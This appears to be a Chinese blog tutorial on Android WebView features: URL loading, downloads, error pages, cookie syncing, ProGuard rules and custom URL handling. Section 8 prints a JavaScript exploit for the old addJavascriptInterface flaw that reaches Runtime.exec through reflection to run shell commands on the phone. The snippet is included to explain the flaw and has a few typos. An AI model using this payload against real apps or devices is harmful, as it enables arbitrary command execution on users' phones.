android中WebView的用法总结

来源:互联网 发布:tvc广告制作 动画网络 编辑:程序博客网 时间:2024/06/08 07:13

android中webView的使用
1. 简单使用:使用的是系统默认的浏览器打开
webView = (WebView) findViewById(R.id.webView);
webView.loadUrl(“http://www.baidu.com“);
2. 设置能在自己的应用上打开,而不是在系统默认的浏览器上打开:

 webView.setWebChromeClient(new WebChromeClient(){            @Override            public void onReceivedTitle(WebView view, String title) {                //在这里可以设置标题                super.onReceivedTitle(view, title);            }        });        webView.setWebViewClient(new WebViewClient(){            @Override            public boolean shouldOverrideUrlLoading(WebView view, String url) {                //在这里加载url                view.loadUrl(url);                return super.shouldOverrideUrlLoading(view, url);            }        });
  1. 模拟浏览器,显示当前网页打开的标题
 webView.setWebChromeClient(new WebChromeClient(){            @Override            public void onReceivedTitle(WebView view, String title) {                //设置标题                titleView.setText(title);                super.onReceivedTitle(view, title);            }        });

效果图如下:
这里写图片描述
4. 使用webview去下载文件

// 下载文件        webView.setDownloadListener(new DownloadListener() {            @Override            public void onDownloadStart(String url, String userAgent,                    String contentDisposition, String mimetype,                    long contentLength) {                System.out.println("download url.......>" + url);                if (url.endsWith(".apk")) {                    // 在这里调用下载文件的逻辑,自己实现//                  new Thread(new MyDownLoadThread(url)).start();                    //使用系统下载文件的功能                    Uri uri = Uri.parse(url);                    Intent intent = new Intent();                    intent.setAction(Intent.ACTION_VIEW);                    intent.setData(uri);                    startActivity(intent);                }            }        });

在上面的代码中下载时有两种方式,一种是自己实现下载功能,另外一种是使用系统的。
5.webView的错误处理
当网络不好时,需要提醒用户:
有两种方式:
1. 加载本地html处理
2. 在布局中处理
下面演示html去处理:

webView.setWebViewClient(new WebViewClient() {                      //出现错误时去处理            @Override            public void onReceivedError(WebView view, int errorCode,                    String description, String failingUrl) {                //加载本地html                System.out.println("failingUrl---->" + failingUrl);                webView.loadUrl("file:///android_asset/error.html");                super.onReceivedError(view, errorCode, description, failingUrl);            }        });
  1. webView如何同步Cookie信息
    首先写一个类去与获取cookie信息
package com.example.webviewtest;import java.util.ArrayList;import java.util.List;import org.apache.http.HttpResponse;import org.apache.http.NameValuePair;import org.apache.http.client.HttpClient;import org.apache.http.client.entity.UrlEncodedFormEntity;import org.apache.http.client.methods.HttpPost;import org.apache.http.cookie.Cookie;import org.apache.http.impl.client.AbstractHttpClient;import org.apache.http.impl.client.DefaultHttpClient;import org.apache.http.message.BasicNameValuePair;import android.os.Handler;import android.os.Message;/** * WebView 实现Cookie同步 * @author johnny * */public class HttpCookie extends Thread {    private Handler handler;    public HttpCookie(Handler handler) {        this.handler = handler;    }    @Override    public void run() {        HttpClient client = new DefaultHttpClient();        //这里的地址为你web上登录的网址        HttpPost post = new HttpPost("http://192.168.1.23:8080/web/login");        List<NameValuePair> params = new ArrayList<NameValuePair>();        params.add(new BasicNameValuePair("logName", "johnny"));        params.add(new BasicNameValuePair("pwd", "1234567"));        try {            post.setEntity(new UrlEncodedFormEntity(params));            HttpResponse response = client.execute(post);            if (200 == response.getStatusLine().getStatusCode()) {                AbstractHttpClient absClient = (AbstractHttpClient) client;                List<Cookie> cookies = absClient.getCookieStore().getCookies();                for (Cookie cookie : cookies) {                    System.out.println("logName:" + cookie.getName() + ",pwd:" + cookie.getValue());                    System.out.println("cookie:"+cookie);                    //发送改主线程                    Message message = Message.obtain();                    message.obj = cookie;                    handler.sendMessage(message);                }            }        } catch (Exception e) {            e.printStackTrace();        }    }}

然后,在MainActivity里面同步cookie信息:

private Handler handler = new Handler() {        public void handleMessage(android.os.Message msg) {            //核心代码            //创建CookieSyncManager            CookieSyncManager.createInstance(MainActivity.this);            CookieManager manager = CookieManager.getInstance();            manager.setAcceptCookie(true);            manager.setCookie("http://192.168.1.23:8080/web", msg.obj.toString());            //同步cookie信息            CookieSyncManager.getInstance().sync();//          manager.flush();            webView.loadUrl("http://192.168.1.23:8080/web/index.jsp");        };    };
  1. 解决与js调用混淆代码时出现的问题
    在未处理之前,如果在混淆代码时,如果没有处理,则会导致调用js无效,解决的方法如下:
    在proguard.cfg里面加上如下代码:
//com.example.webviewTest.WebHook  js要调用对象-keep public class com.example.webviewTest.WebHook {        public <methods>;}

另外在开发中碰到了一个bug,也在这里加下:
在proguard-project文件中有这么一句:

<span style="font-family:KaiTi_GB2312;font-size:14px;"># If your project uses WebView with JS, uncomment the following  # and specify the fully qualified class name to the JavaScript interface  # class:  #-keepclassmembers class fqcn.of.javascript.interface.for.webview {  #   public *;  #}</span>  

把注释解除,把fqcn.of.javascript.interface.for.webview换成你自己定义的那个类名(包名也必须有,如果定义的是内部类,则是cn.wj.ui.WebViewActivity$myInterface),在4.1的系统上是没有问题了,但4.2的机子上还是不行,再找找,哦,原来是4.2以上版本调用js接口需要在方法使用声明@JavascriptInterface,然后混淆时可能会弄丢该声明导致,程序无法调用js,需要继续再配置文件中添加条件,

-keepattributes *Annotation*-keepattributes *JavascriptInterface*

所以当使用了webview和js交互时,混淆文件中应该添上这些配置:

-keepclassmembers class cn.xx.xx.xxActivity$AppAndroid {    public *;  }  -keepattributes *Annotation*  -keepattributes *JavascriptInterface*  

这样了之后,就不会混淆这部分代码,从而加载有效。

  1. WebView导致的远程注入问题
    在调用js代码的页面使用以下代码,可以操作手机:
function check() {        for (var obj in window) {            try {                if ("getClass" in window[obj]) {                    try {                        window[obj].getClass();                        document.write('<span style="color:red,font-size:22px">'                                 + obj + '</span>');                        document.write('<br/>');                    } catch(e) {                    }                }            } catch(e) {            }        }    }    function xecute(cmdArgs) {        return searchBoxJavaBridge_.getClass().forName("java.lang.Runtime")            .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);    }    try {        //执行linux系统命令        //excute(["/system/bin/sh","-c","ls > /sdcard/log-ls.txt"])        excute(["/system/bin/sh","-c","ls > /mnt/sdcard > /sdcard/log-netstat.txt"]);    } catch(e) {        alert(e);    }

这个问题在4.4之后就被解决了,如果我们自己去处理webview的话,需要自定义协议去处理。
9.webView自定义协议拦截问题
有时候需要与前端处理一些问题,需要自定义一些协议:
如:在前端页面login.jsp里面写有:

<a href="http://169.254.181.83:8080/WebViewTest/login.jsp?startActivity">load page</a>

在我们app客户端,要处理这个协议:

webView.setWebViewClient(new WebViewClient() {            @Override            public boolean shouldOverrideUrlLoading(WebView view, String url) {                //在这里处理自定义协议                if (url.endsWith("?startActivity")) {                    Intent intent = new Intent(MainActivity.this,SecondActivity.class);                    startActivity(intent);                    return true;                }                // 在这里加载url                view.loadUrl(url);                return super.shouldOverrideUrlLoading(view, url);            }        }

当然协议可以有很多方式,这里只是一种简单的举列,要根据实际开发来处理。
以上就是webview的相关知识,非常感谢慕课网的老师的讲解。

0 0
原创粉丝点击